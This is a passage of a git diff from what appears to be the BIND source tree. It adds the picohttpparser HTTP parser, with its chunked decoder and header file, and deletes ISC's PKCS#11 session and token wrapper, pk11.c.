+				goto Exit;
+			}
+			++src;
+			decoder->_state = CHUNKED_IN_CHUNK_SIZE;
+			break;
+		case CHUNKED_IN_TRAILERS_LINE_HEAD:
+			for (;; ++src) {
+				if (src == bufsz)
+					goto Exit;
+				if (buf[src] != '\015')
+					break;
+			}
+			if (buf[src++] == '\012')
+				goto Complete;
+			decoder->_state = CHUNKED_IN_TRAILERS_LINE_MIDDLE;
+		/* fallthru */
+		case CHUNKED_IN_TRAILERS_LINE_MIDDLE:
+			for (;; ++src) {
+				if (src == bufsz)
+					goto Exit;
+				if (buf[src] == '\012')
+					break;
+			}
+			++src;
+			decoder->_state = CHUNKED_IN_TRAILERS_LINE_HEAD;
+			break;
+		default:
+			assert(!"decoder is corrupt");
+		}
+	}
+
+Complete:
+	ret = bufsz - src;
+Exit:
+	if (dst != src)
+		memmove(buf + dst, buf + src, bufsz - src);
+	*_bufsz = dst;
+	return ret;
+}
+
+int
+phr_decode_chunked_is_in_data(struct phr_chunked_decoder *decoder) {
+	return decoder->_state == CHUNKED_IN_CHUNK_DATA;
+}
+
+#undef CHECK_EOF
+#undef EXPECT_CHAR
+#undef ADVANCE_TOKEN
diff --git a/lib/isc/picohttpparser.h b/lib/isc/picohttpparser.h
new file mode 100644
index 0000000000..0657cb29c4
--- /dev/null
+++ b/lib/isc/picohttpparser.h
@@ -0,0 +1,100 @@
+/*
+ * Copyright (c) 2009-2014 Kazuho Oku, Tokuhiro Matsuno, Daisuke Murase,
+ *                         Shigeo Mitsunari
+ *
+ * SPDX-License-Identifier: MIT
+ *
+ * The software is licensed under either the MIT License (below) or the Perl
+ * license.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to
+ * deal in the Software without restriction, including without limitation the
+ * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+ * sell copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+#ifndef picohttpparser_h
+#define picohttpparser_h
+
+#include <sys/types.h>
+
+#ifdef _MSC_VER
+#define ssize_t intptr_t
+#endif
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* contains name and value of a header (name == NULL if is a continuing line
+ * of a multiline header */
+struct phr_header {
+	const char *name;
+	size_t name_len;
+	const char *value;
+	size_t value_len;
+};
+
+/* returns number of bytes consumed if successful, -2 if request is partial,
+ * -1 if failed */
+int
+phr_parse_request(const char *buf, size_t len, const char **method,
+		  size_t *method_len, const char **path, size_t *path_len,
+		  int *minor_version, struct phr_header *headers,
+		  size_t *num_headers, size_t last_len);
+
+/* ditto */
+int
+phr_parse_response(const char *_buf, size_t len, int *minor_version,
+		   int *status, const char **msg, size_t *msg_len,
+		   struct phr_header *headers, size_t *num_headers,
+		   size_t last_len);
+
+/* ditto */
+int
+phr_parse_headers(const char *buf, size_t len, struct phr_header *headers,
+		  size_t *num_headers, size_t last_len);
+
+/* should be zero-filled before start */
+struct phr_chunked_decoder {
+	size_t bytes_left_in_chunk; /* number of bytes left in current chunk */
+	char consume_trailer;	    /* if trailing headers should be consumed */
+	char _hex_count;
+	char _state;
+};
+
+/* the function rewrites the buffer given as (buf, bufsz) removing the chunked-
+ * encoding headers.  When the function returns without an error, bufsz is
+ * updated to the length of the decoded data available.  Applications should
+ * repeatedly call the function while it returns -2 (incomplete) every time
+ * supplying newly arrived data.  If the end of the chunked-encoded data is
+ * found, the function returns a non-negative number indicating the number of
+ * octets left undecoded, that starts from the offset returned by `*bufsz`.
+ * Returns -1 on error.
+ */
+ssize_t
+phr_decode_chunked(struct phr_chunked_decoder *decoder, char *buf,
+		   size_t *bufsz);
+
+/* returns if the chunked decoder is in middle of chunked data */
+int
+phr_decode_chunked_is_in_data(struct phr_chunked_decoder *decoder);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/lib/isc/pk11.c b/lib/isc/pk11.c
deleted file mode 100644
index fba342b13c..0000000000
--- a/lib/isc/pk11.c
+++ /dev/null
@@ -1,1101 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <errno.h>
-#include <inttypes.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/log.h>
-#include <isc/mem.h>
-#include <isc/once.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/stdio.h>
-#include <isc/strerr.h>
-#include <isc/string.h>
-#include <isc/thread.h>
-#include <isc/util.h>
-
-#include <pk11/internal.h>
-#include <pk11/pk11.h>
-#include <pk11/result.h>
-#include <pk11/site.h>
-#include <pkcs11/pkcs11.h>
-
-/* was 32 octets, Petr Spacek suggested 1024, SoftHSMv2 uses 256... */
-#ifndef PINLEN
-#define PINLEN 256
-#endif /* ifndef PINLEN */
-
-#ifndef PK11_NO_LOGERR
-#define PK11_NO_LOGERR 1
-#endif /* ifndef PK11_NO_LOGERR */
-
-LIBISC_EXTERNAL_DATA bool pk11_verbose_init = false;
-
-static isc_once_t once = ISC_ONCE_INIT;
-static isc_mem_t *pk11_mctx = NULL;
-static int32_t allocsize = 0;
-static bool initialized = false;
-
-typedef struct pk11_session pk11_session_t;
-typedef struct pk11_token pk11_token_t;
-typedef ISC_LIST(pk11_session_t) pk11_sessionlist_t;
-
-struct pk11_session {
-	unsigned int magic;
-	CK_SESSION_HANDLE session;
-	ISC_LINK(pk11_session_t) link;
-	pk11_token_t *token;
-};
-
-struct pk11_token {
-	unsigned int magic;
-	unsigned int operations;
-	ISC_LINK(pk11_token_t) link;
-	CK_SLOT_ID slotid;
-	pk11_sessionlist_t sessions;
-	bool logged;
-	char name[32];
-	char manuf[32];
-	char model[16];
-	char serial[16];
-	char pin[PINLEN + 1];
-};
-static ISC_LIST(pk11_token_t) tokens;
-
-static pk11_token_t *best_rsa_token;
-static pk11_token_t *best_ecdsa_token;
-static pk11_token_t *best_eddsa_token;
-
-static isc_result_t
-free_all_sessions(void);
-static isc_result_t
-free_session_list(pk11_sessionlist_t *slist);
-static isc_result_t
-setup_session(pk11_session_t *sp, pk11_token_t *token, bool rw);
-static void
-scan_slots(void);
-static isc_result_t
-token_login(pk11_session_t *sp);
-static char *
-percent_decode(char *x, size_t *len);
-static bool
-pk11strcmp(const char *x, size_t lenx, const char *y, size_t leny);
-static CK_ATTRIBUTE *
-push_attribute(pk11_object_t *obj, isc_mem_t *mctx, size_t len);
-
-static isc_mutex_t alloclock;
-static isc_mutex_t sessionlock;
-
-static pk11_sessionlist_t actives;
-
-static CK_C_INITIALIZE_ARGS pk11_init_args = {
-	NULL_PTR,	   /* CreateMutex */
-	NULL_PTR,	   /* DestroyMutex */
-	NULL_PTR,	   /* LockMutex */
-	NULL_PTR,	   /* UnlockMutex */
-	CKF_OS_LOCKING_OK, /* flags */
-	NULL_PTR,	   /* pReserved */
-};
-
-#ifndef PK11_LIB_LOCATION
-#define PK11_LIB_LOCATION "unknown_provider"
-#endif /* ifndef PK11_LIB_LOCATION */
-
-static const char *lib_name = PK11_LIB_LOCATION;
-
-void
-pk11_set_lib_name(const char *name) {
-	lib_name = name;
-}
-
-const char *
-pk11_get_lib_name(void) {
-	return (lib_name);
-}
-
-static void
-initialize(void) {
-	char *pk11_provider;
-
-	isc_mutex_init(&alloclock);
-	isc_mutex_init(&sessionlock);
-
-	pk11_provider = getenv("PKCS11_PROVIDER");
-	if (pk11_provider != NULL) {
-		lib_name = pk11_provider;
-	}
-}
-
-void *
-pk11_mem_get(size_t size) {
-	void *ptr;
-
-	LOCK(&alloclock);
-	if (pk11_mctx != NULL) {
-		ptr = isc_mem_get(pk11_mctx, size);
-	} else {
-		ptr = malloc(size);
-		if (ptr == NULL && size != 0) {
-			char strbuf[ISC_STRERRORSIZE];
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			isc_error_fatal(__FILE__, __LINE__, "malloc failed: %s",
-					strbuf);
-		}
-	}
-	UNLOCK(&alloclock);
-
-	if (ptr != NULL) {
-		memset(ptr, 0, size);
-	}
-	return (ptr);
-}
-
-void
-pk11_mem_put(void *ptr, size_t size) {
-	if (ptr != NULL) {
-		memset(ptr, 0, size);
-	}
-	LOCK(&alloclock);
-	if (pk11_mctx != NULL) {
-		isc_mem_put(pk11_mctx, ptr, size);
-	} else {
-		if (ptr != NULL) {
-			allocsize -= (int)size;
-		}
-		free(ptr);
-	}
-	UNLOCK(&alloclock);
-}
-
-isc_result_t
-pk11_initialize(isc_mem_t *mctx, const char *engine) {
-	isc_result_t result = ISC_R_SUCCESS;
-	CK_RV rv;
-
-	RUNTIME_CHECK(isc_once_do(&once, initialize) == ISC_R_SUCCESS);
-
-	LOCK(&sessionlock);
-	LOCK(&alloclock);
-	if ((mctx != NULL) && (pk11_mctx == NULL) && (allocsize == 0)) {
-		isc_mem_attach(mctx, &pk11_mctx);
-	}
-	UNLOCK(&alloclock);
-	if (initialized) {
-		goto unlock;
-	} else {
-		initialized = true;
-	}
-
-	ISC_LIST_INIT(tokens);
-	ISC_LIST_INIT(actives);
-
-	if (engine != NULL) {
-		lib_name = engine;
-	}
-
-	/* Initialize the CRYPTOKI library */
-	rv = pkcs_C_Initialize((CK_VOID_PTR)&pk11_init_args);
-
-	if (rv == 0xfe) {
-		result = PK11_R_NOPROVIDER;
-		fprintf(stderr, "Can't load PKCS#11 provider: %s\n",
-			pk11_get_load_error_message());
-		goto unlock;
-	}
-	if (rv != CKR_OK) {
-		result = PK11_R_INITFAILED;
-		goto unlock;
-	}
-
-	scan_slots();
-unlock:
-	UNLOCK(&sessionlock);
-	return (result);
-}
-
-isc_result_t
-pk11_finalize(void) {
-	pk11_token_t *token, *next;
-	isc_result_t ret;
-
-	ret = free_all_sessions();
-	(void)pkcs_C_Finalize(NULL_PTR);
-	token = ISC_LIST_HEAD(tokens);
-	while (token != NULL) {
-		next = ISC_LIST_NEXT(token, link);
-		ISC_LIST_UNLINK(tokens, token, link);
-		if (token == best_rsa_token) {
-			best_rsa_token = NULL;
-		}
-		if (token == best_ecdsa_token) {
-			best_ecdsa_token = NULL;
-		}
-		if (token == best_eddsa_token) {
-			best_eddsa_token = NULL;
-		}
-		pk11_mem_put(token, sizeof(*token));
-		token = next;
-	}
-	if (pk11_mctx != NULL) {
-		isc_mem_detach(&pk11_mctx);
-	}
-	initialized = false;
-	return (ret);
-}
-
-isc_result_t
-pk11_get_session(pk11_context_t *ctx, pk11_optype_t optype, bool need_services,
-		 bool rw, bool logon, const char *pin, CK_SLOT_ID slot) {
-	pk11_token_t *token = NULL;
-	pk11_sessionlist_t *freelist;
-	pk11_session_t *sp;
-	isc_result_t ret;
-	UNUSED(need_services);
-
-	memset(ctx, 0, sizeof(pk11_context_t));
-	ctx->handle = NULL;
-	ctx->session = CK_INVALID_HANDLE;
-
-	ret = pk11_initialize(NULL, NULL);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
-	}
-
-	LOCK(&sessionlock);
-	/* wait for initialization to finish */
-	UNLOCK(&sessionlock);
-
-	switch (optype) {
-	case OP_ANY:
-		for (token = ISC_LIST_HEAD(tokens); token != NULL;
-		     token = ISC_LIST_NEXT(token, link))
-		{
-			if (token->slotid == slot) {
-				break;
-			}
-		}
-		break;
-	default:
-		for (token = ISC_LIST_HEAD(tokens); token != NULL;
-		     token = ISC_LIST_NEXT(token, link))
-		{
-			if (token->slotid == slot) {
-				break;
-			}
-		}
-		break;
-	}
-	if (token == NULL) {
-		return (ISC_R_NOTFOUND);
-	}
-
-	/* Override the token's PIN */
-	if (logon && pin != NULL && *pin != '\0') {
-		if (strlen(pin) > PINLEN) {
-			return (ISC_R_RANGE);
-		}
-		/*
-		 * We want to zero out the old pin before
-		 * overwriting with a new one.
-		 */
-		memset(token->pin, 0, sizeof(token->pin));
-		strlcpy(token->pin, pin, sizeof(token->pin));
-	}
-
-	freelist = &token->sessions;
-
-	LOCK(&sessionlock);
-	sp = ISC_LIST_HEAD(*freelist);
-	if (sp != NULL) {
-		ISC_LIST_UNLINK(*freelist, sp, link);
-		ISC_LIST_APPEND(actives, sp, link);
-		UNLOCK(&sessionlock);
-		if (logon) {
-			ret = token_login(sp);
-		}
-		ctx->handle = sp;
-		ctx->session = sp->session;
-		return (ret);
-	}
-	UNLOCK(&sessionlock);
-
-	sp = pk11_mem_get(sizeof(*sp));
-	sp->magic = SES_MAGIC;
-	sp->token = token;
-	sp->session = CK_INVALID_HANDLE;
-	ISC_LINK_INIT(sp, link);
-	ret = setup_session(sp, token, rw);
-	if ((ret == ISC_R_SUCCESS) && logon) {
-		ret = token_login(sp);
-	}
-	LOCK(&sessionlock);
-	ISC_LIST_APPEND(actives, sp, link);
-	UNLOCK(&sessionlock);
-	ctx->handle = sp;
-	ctx->session = sp->session;
-	return (ret);
-}
-
-void
-pk11_return_session(pk11_context_t *ctx) {
-	pk11_session_t *sp = (pk11_session_t *)ctx->handle;
-
-	if (sp == NULL) {
-		return;
-	}
-	ctx->handle = NULL;
-	ctx->session = CK_INVALID_HANDLE;
-
-	LOCK(&sessionlock);
-	ISC_LIST_UNLINK(actives, sp, link);
-	UNLOCK(&sessionlock);
-	if (sp->session == CK_INVALID_HANDLE) {
-		pk11_mem_put(sp, sizeof(*sp));
-		return;
-	}
-
-	LOCK(&sessionlock);
-	ISC_LIST_APPEND(sp->token->sessions, sp, link);
-	UNLOCK(&sessionlock);
-}
-
-static isc_result_t
-free_all_sessions(void) {
-	pk11_token_t *token;
-	isc_result_t ret = ISC_R_SUCCESS;
-	isc_result_t oret;
-
-	for (token = ISC_LIST_HEAD(tokens); token != NULL;
-	     token = ISC_LIST_NEXT(token, link))
-	{
-		oret = free_session_list(&token->sessions);
-		if (oret != ISC_R_SUCCESS) {
-			ret = oret;
-		}
-	}
-	if (!ISC_LIST_EMPTY(actives)) {
-		ret = ISC_R_ADDRINUSE;
-		oret = free_session_list(&actives);
-		if (oret != ISC_R_SUCCESS) {
-			ret = oret;
-		}
-	}
-	return (ret);
-}
-
-static isc_result_t
-free_session_list(pk11_sessionlist_t *slist) {
-	pk11_session_t *sp;
-	CK_RV rv;
-	isc_result_t ret;
-
-	ret = ISC_R_SUCCESS;
-	LOCK(&sessionlock);
-	while (!ISC_LIST_EMPTY(*slist)) {
-		sp = ISC_LIST_HEAD(*slist);
-		ISC_LIST_UNLINK(*slist, sp, link);
-		UNLOCK(&sessionlock);
-		if (sp->session != CK_INVALID_HANDLE) {
-			rv = pkcs_C_CloseSession(sp->session);
-			if (rv != CKR_OK) {
-				ret = ISC_R_CRYPTOFAILURE;
-			}
-		}
-		LOCK(&sessionlock);
-		pk11_mem_put(sp, sizeof(*sp));
-	}
-	UNLOCK(&sessionlock);
-
-	return (ret);
-}
-
-static isc_result_t
-setup_session(pk11_session_t *sp, pk11_token_t *token, bool rw) {
-	CK_RV rv;
-	CK_FLAGS flags = CKF_SERIAL_SESSION;
-
-	if (rw) {
-		flags += CKF_RW_SESSION;
-	}
-
-	rv = pkcs_C_OpenSession(token->slotid, flags, NULL_PTR, NULL_PTR,
-				&sp->session);
-	if (rv != CKR_OK) {
-		return (ISC_R_CRYPTOFAILURE);
-	}
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-token_login(pk11_session_t *sp) {
-	CK_RV rv;
-	pk11_token_t *token = sp->token;
-	isc_result_t ret = ISC_R_SUCCESS;
-
-	LOCK(&sessionlock);
-	if (!token->logged) {
-		rv = pkcs_C_Login(sp->session, CKU_USER,
-				  (CK_UTF8CHAR_PTR)token->pin,
-				  (CK_ULONG)strlen(token->pin));
-		if (rv != CKR_OK) {
-#if PK11_NO_LOGERR
-			pk11_error_fatalcheck(__FILE__, __LINE__,
-					      "pkcs_C_Login", rv);
-#else  /* if PK11_NO_LOGERR */
-			ret = ISC_R_NOPERM;
-#endif /* if PK11_NO_LOGERR */
-		} else {
-			token->logged = true;
-		}
-	}
-	UNLOCK(&sessionlock);
-	return (ret);
-}
-
-#define PK11_TRACE(fmt)        \
-	if (pk11_verbose_init) \
-	fprintf(stderr, fmt)
-#define PK11_TRACE1(fmt, arg)  \
-	if (pk11_verbose_init) \
-	fprintf(stderr, fmt, arg)
-#define PK11_TRACE2(fmt, arg1, arg2) \
-	if (pk11_verbose_init)       \
-	fprintf(stderr, fmt, arg1, arg2)
-#define PK11_TRACEM(mech)      \
-	if (pk11_verbose_init) \
-	fprintf(stderr, #mech ": 0x%lx\n", rv)
-
-static void
-scan_slots(void) {
-	CK_MECHANISM_INFO mechInfo;
-	CK_TOKEN_INFO tokenInfo;
-	CK_RV rv;
-	CK_SLOT_ID slot;
-	CK_SLOT_ID_PTR slotList;
-	CK_ULONG slotCount;
-	pk11_token_t *token;
-	unsigned int i;
-	bool bad;
-
-	slotCount = 0;
-	PK11_FATALCHECK(pkcs_C_GetSlotList, (CK_FALSE, NULL_PTR, &slotCount));
-	PK11_TRACE1("slotCount=%lu\n", slotCount);
-	/* it's not an error if we didn't find any providers */
-	if (slotCount == 0) {
-		return;
-	}
-	slotList = pk11_mem_get(sizeof(CK_SLOT_ID) * slotCount);
-	PK11_FATALCHECK(pkcs_C_GetSlotList, (CK_FALSE, slotList, &slotCount));
-
-	for (i = 0; i < slotCount; i++) {
-		slot = slotList[i];
-		PK11_TRACE2("slot#%u=0x%lx\n", i, slot);
-
-		rv = pkcs_C_GetTokenInfo(slot, &tokenInfo);
-		if (rv != CKR_OK) {
-			continue;
-		}
-		token = pk11_mem_get(sizeof(*token));
-		token->magic = TOK_MAGIC;
-		token->slotid = slot;
-		ISC_LINK_INIT(token, link);
-		ISC_LIST_INIT(token->sessions);
-		memmove(token->name, tokenInfo.label, 32);
-		memmove(token->manuf, tokenInfo.manufacturerID, 32);
-		memmove(token->model, tokenInfo.model, 16);
-		memmove(token->serial, tokenInfo.serialNumber, 16);
-		ISC_LIST_APPEND(tokens, token, link);
-
-		/* Check for RSA support */
-		bad = false;
-		rv = pkcs_C_GetMechanismInfo(slot, CKM_RSA_PKCS_KEY_PAIR_GEN,
-					     &mechInfo);
-		if ((rv != CKR_OK) ||
-		    ((mechInfo.flags & CKF_GENERATE_KEY_PAIR) == 0)) {
-			bad = true;
-			PK11_TRACEM(CKM_RSA_PKCS_KEY_PAIR_GEN);
-		}
-		rv = pkcs_C_GetMechanismInfo(slot, CKM_MD5_RSA_PKCS, &mechInfo);
-		if ((rv != CKR_OK) || ((mechInfo.flags & CKF_SIGN) == 0) ||
-		    ((mechInfo.flags & CKF_VERIFY) == 0))
-		{
-			bad = true;
-			PK11_TRACEM(CKM_MD5_RSA_PKCS);
-		}
-		rv = pkcs_C_GetMechanismInfo(slot, CKM_SHA1_RSA_PKCS,
-					     &mechInfo);
-		if ((rv != CKR_OK) || ((mechInfo.flags & CKF_SIGN) == 0) ||
-		    ((mechInfo.flags & CKF_VERIFY) == 0))
-		{
-			bad = true;
-			PK11_TRACEM(CKM_SHA1_RSA_PKCS);
-		}
-		rv = pkcs_C_GetMechanismInfo(slot, CKM_SHA256_RSA_PKCS,
-					     &mechInfo);
-		if ((rv != CKR_OK) || ((mechInfo.flags & CKF_SIGN) == 0) ||
-		    ((mechInfo.flags & CKF_VERIFY) == 0))
-		{
-			bad = true;
-			PK11_TRACEM(CKM_SHA256_RSA_PKCS);
-		}
-		rv = pkcs_C_GetMechanismInfo(slot, CKM_SHA512_RSA_PKCS,
-					     &mechInfo);
-		if ((rv != CKR_OK) || ((mechInfo.flags & CKF_SIGN) == 0) ||
-		    ((mechInfo.flags & CKF_VERIFY) == 0))
-		{
-			bad = true;
-			PK11_TRACEM(CKM_SHA512_RSA_PKCS);
-		}
-		rv = pkcs_C_GetMechanismInfo(slot, CKM_RSA_PKCS, &mechInfo);
-		if ((rv != CKR_OK) || ((mechInfo.flags & CKF_SIGN) == 0) ||
-		    ((mechInfo.flags & CKF_VERIFY) == 0))
-		{
-			bad = true;
-			PK11_TRACEM(CKM_RSA_PKCS);
-		}
-		if (!bad) {
-			token->operations |= 1 << OP_RSA;
-			if (best_rsa_token == NULL) {
-				best_rsa_token = token;
-			}
-		}
-
-		/* Check for ECDSA support */
-		bad = false;
-		rv = pkcs_C_GetMechanismInfo(slot, CKM_EC_KEY_PAIR_GEN,
-					     &mechInfo);
-		if ((rv != CKR_OK) ||
-		    ((mechInfo.flags & CKF_GENERATE_KEY_PAIR) == 0)) {
-			bad = true;
-			PK11_TRACEM(CKM_EC_KEY_PAIR_GEN);
-		}
-		rv = pkcs_C_GetMechanismInfo(slot, CKM_ECDSA, &mechInfo);
-		if ((rv != CKR_OK) || ((mechInfo.flags & CKF_SIGN) == 0) ||
-		    ((mechInfo.flags & CKF_VERIFY) == 0))
-		{
-			bad = true;
-			PK11_TRACEM(CKM_ECDSA);
-		}
-		if (!bad) {
-			token->operations |= 1 << OP_ECDSA;
-			if (best_ecdsa_token == NULL) {
-				best_ecdsa_token = token;
-			}
-		}
-
-		/* Check for EDDSA support */
-		bad = false;
-		rv = pkcs_C_GetMechanismInfo(slot, CKM_EC_EDWARDS_KEY_PAIR_GEN,
-					     &mechInfo);
-		if ((rv != CKR_OK) ||
-		    ((mechInfo.flags & CKF_GENERATE_KEY_PAIR) == 0)) {
-			bad = true;
-			PK11_TRACEM(CKM_EC_EDWARDS_KEY_PAIR_GEN);
-		}
-		rv = pkcs_C_GetMechanismInfo(slot, CKM_EDDSA, &mechInfo);
-		if ((rv != CKR_OK) || ((mechInfo.flags & CKF_SIGN) == 0) ||
-		    ((mechInfo.flags & CKF_VERIFY) == 0))
-		{
-			bad = true;
-			PK11_TRACEM(CKM_EDDSA);
-		}
-		if (!bad) {
-			token->operations |= 1 << OP_EDDSA;
-			if (best_eddsa_token == NULL) {
-				best_eddsa_token = token;
-			}
-		}
-	}
-
-	if (slotList != NULL) {
-		pk11_mem_put(slotList, sizeof(CK_SLOT_ID) * slotCount);
-	}
-}
-
-CK_SLOT_ID
-pk11_get_best_token(pk11_optype_t optype) {
-	pk11_token_t *token = NULL;
-
-	switch (optype) {
-	case OP_RSA:
-		token = best_rsa_token;
-		break;
-	case OP_ECDSA:
-		token = best_ecdsa_token;
-		break;
-	case OP_EDDSA:
-		token = best_eddsa_token;
-		break;
-	default:
-		break;
-	}
-	if (token == NULL) {
-		return (0);
-	}
-	return (token->slotid);
-}
-
-isc_result_t
-pk11_numbits(CK_BYTE_PTR data, unsigned int bytecnt, unsigned int *bits) {
-	unsigned int bitcnt, i;
-	CK_BYTE top;
-
-	if (bytecnt == 0) {
-		*bits = 0;
-		return (ISC_R_SUCCESS);
-	}
-	bitcnt = bytecnt * 8;
-	for (i = 0; i < bytecnt; i++) {
-		top = data[i];
-		if (top == 0) {
-			bitcnt -= 8;
-			continue;
-		}
-		if (top & 0x80) {
-			*bits = bitcnt;
-			return (ISC_R_SUCCESS);
-		}
-		if (top & 0x40) {
-			*bits = bitcnt - 1;
-			return (ISC_R_SUCCESS);
-		}
-		if (top & 0x20) {
-			*bits = bitcnt - 2;
-			return (ISC_R_SUCCESS);
-		}
-		if (top & 0x10) {
-			*bits = bitcnt - 3;
-			return (ISC_R_SUCCESS);
-		}
-		if (top & 0x08) {
-			*bits = bitcnt - 4;
-			return (ISC_R_SUCCESS);
-		}
-		if (top & 0x04) {
-			*bits = bitcnt - 5;
-			return (ISC_R_SUCCESS);
-		}
-		if (top & 0x02) {
-			*bits = bitcnt - 6;
-			return (ISC_R_SUCCESS);
-		}
-		if (top & 0x01) {
-			*bits = bitcnt - 7;
-			return (ISC_R_SUCCESS);
-		}
-		break;
-	}
-	return (ISC_R_RANGE);
-}
-
-CK_ATTRIBUTE *
-pk11_attribute_first(const pk11_object_t *obj) {
-	return (obj->repr);
-}
-
-CK_ATTRIBUTE *
-pk11_attribute_next(const pk11_object_t *obj, CK_ATTRIBUTE *attr) {
-	CK_ATTRIBUTE *next;
-
-	next = attr + 1;
-	if ((next - obj->repr) >= obj->attrcnt) {
-		return (NULL);
-	}
-	return (next);
-}
-
-CK_ATTRIBUTE *
-pk11_attribute_bytype(const pk11_object_t *obj, CK_ATTRIBUTE_TYPE type) {
-	CK_ATTRIBUTE *attr;
-
-	for (attr = pk11_attribute_first(obj); attr != NULL;
-	     attr = pk11_attribute_next(obj, attr))
-	{
-		if (attr->type == type) {
-			return (attr);
-		}
-	}
-	return (NULL);
-}
-
-static char *
-percent_decode(char *x, size_t *len) {
-	char *p, *c;
-	unsigned char v = 0;
-
-	INSIST(len != NULL);
-
-	for (p = c = x; p[0] != '\0'; p++, c++) {
-		switch (p[0]) {
-		case '%':
-			switch (p[1]) {
-			case '0':
-			case '1':
-			case '2':
-			case '3':
-			case '4':
-			case '5':
-			case '6':
-			case '7':
-			case '8':
-			case '9':
-				v = (p[1] - '0') << 4;
-				break;
-			case 'A':
-			case 'B':
-			case 'C':
-			case 'D':
-			case 'E':
-			case 'F':
-				v = (p[1] - 'A' + 10) << 4;
-				break;
-			case 'a':
-			case 'b':
-			case 'c':
-			case 'd':
-			case 'e':
-			case 'f':
-				v = (p[1] - 'a' + 10) << 4;
-				break;
-			default:
-				return (NULL);
-			}
-			switch (p[2]) {
-			case '0':
-			case '1':
-			case '2':
-			case '3':
-			case '4':
-			case '5':
-			case '6':
-			case '7':
-			case '8':
-			case '9':
-				v |= (p[2] - '0') & 0x0f;
-				break;
-			case 'A':
-			case 'B':
-			case 'C':
-			case 'D':
-			case 'E':
-			case 'F':
-				v = (p[2] - 'A' + 10) & 0x0f;
-				break;
-			case 'a':
-			case 'b':
-			case 'c':
-			case 'd':
-			case 'e':
-			case 'f':
-				v = (p[2] - 'a' + 10) & 0x0f;
-				break;
-			default:
-				return (NULL);
-			}
-			p += 2;
-			*c = (char)v;
-			(*len)++;
-			break;
-		default:
-			*c = *p;
-			(*len)++;
-		}
-	}
-	return (x);
-}
-
-static bool
-pk11strcmp(const char *x, size_t lenx, const char *y, size_t leny) {
-	char buf[32];
-
-	INSIST((leny == 32) || (leny == 16));
-
-	memset(buf, ' ', 32);
-	if (lenx > leny) {
-		lenx = leny;
-	}
-	memmove(buf, x, lenx);
-	return (memcmp(buf, y, leny) == 0);
-}
-
-static CK_ATTRIBUTE *
-push_attribute(pk11_object_t *obj, isc_mem_t *mctx, size_t len) {
-	CK_ATTRIBUTE *old = obj->repr;
-	CK_ATTRIBUTE *attr;
-	CK_BYTE cnt = obj->attrcnt;
-
-	REQUIRE(old != NULL || cnt == 0);
-
-	obj->repr = isc_mem_get(mctx, (cnt + 1) * sizeof(*attr));
-	memset(obj->repr, 0, (cnt + 1) * sizeof(*attr));
-	if (old != NULL) {
-		memmove(obj->repr, old, cnt * sizeof(*attr));
-	}
-	attr = obj->repr + cnt;
-	attr->ulValueLen = (CK_ULONG)len;
-	attr->pValue = isc_mem_get(mctx, len);
-	memset(attr->pValue, 0, len);
-	if (old != NULL) {
-		memset(old, 0, cnt * sizeof(*attr));
-		isc_mem_put(mctx, old, cnt * sizeof(*attr));
-	}
-	obj->attrcnt++;
-	return (attr);
-}
-
-#define DST_RET(a)        \
-	{                 \
-		ret = a;  \
-		goto err; \
-	}
-
-isc_result_t
-pk11_parse_uri(pk11_object_t *obj, const char *label, isc_mem_t *mctx,
-	       pk11_optype_t optype) {
-	CK_ATTRIBUTE *attr;
-	pk11_token_t *token = NULL;
-	char *uri, *p, *a, *na, *v;
-	size_t len, l;
-	FILE *stream = NULL;
-	char pin[PINLEN + 1];
-	bool gotpin = false;
-	isc_result_t ret;
-
-	/* get values to work on */
-	len = strlen(label) + 1;
-	uri = isc_mem_get(mctx, len);
-	memmove(uri, label, len);
-
-	/* get the URI scheme */
-	p = strchr(uri, ':');
-	if (p == NULL) {
-		DST_RET(PK11_R_NOPROVIDER);
-	}
-	*p++ = '\0';
-	if (strcmp(uri, "pkcs11") != 0) {
-		DST_RET(PK11_R_NOPROVIDER);
-	}
-
-	/* get attributes */
-	for (na = p; na != NULL;) {
-		a = na;
-		p = strchr(a, ';');
-		if (p == NULL) {
-			/* last attribute */
-			na = NULL;
-		} else {
-			*p++ = '\0';
-			na = p;
-		}
-		p = strchr(a, '=');
-		if (p != NULL) {
-			*p++ = '\0';
-			v = p;
-		} else {
-			v = a;
-		}
-		l = 0;
-		v = percent_decode(v, &l);
-		if (v == NULL) {
-			DST_RET(PK11_R_NOPROVIDER);
-		}
-		if ((a == v) || (strcmp(a, "object") == 0)) {
-			/* object: CKA_LABEL */
-			attr = pk11_attribute_bytype(obj, CKA_LABEL);
-			if (attr != NULL) {
-				DST_RET(PK11_R_NOPROVIDER);
-			}
-			attr = push_attribute(obj, mctx, l);
-			if (attr == NULL) {
-				DST_RET(ISC_R_NOMEMORY);
-			}
-			attr->type = CKA_LABEL;
-			memmove(attr->pValue, v, l);
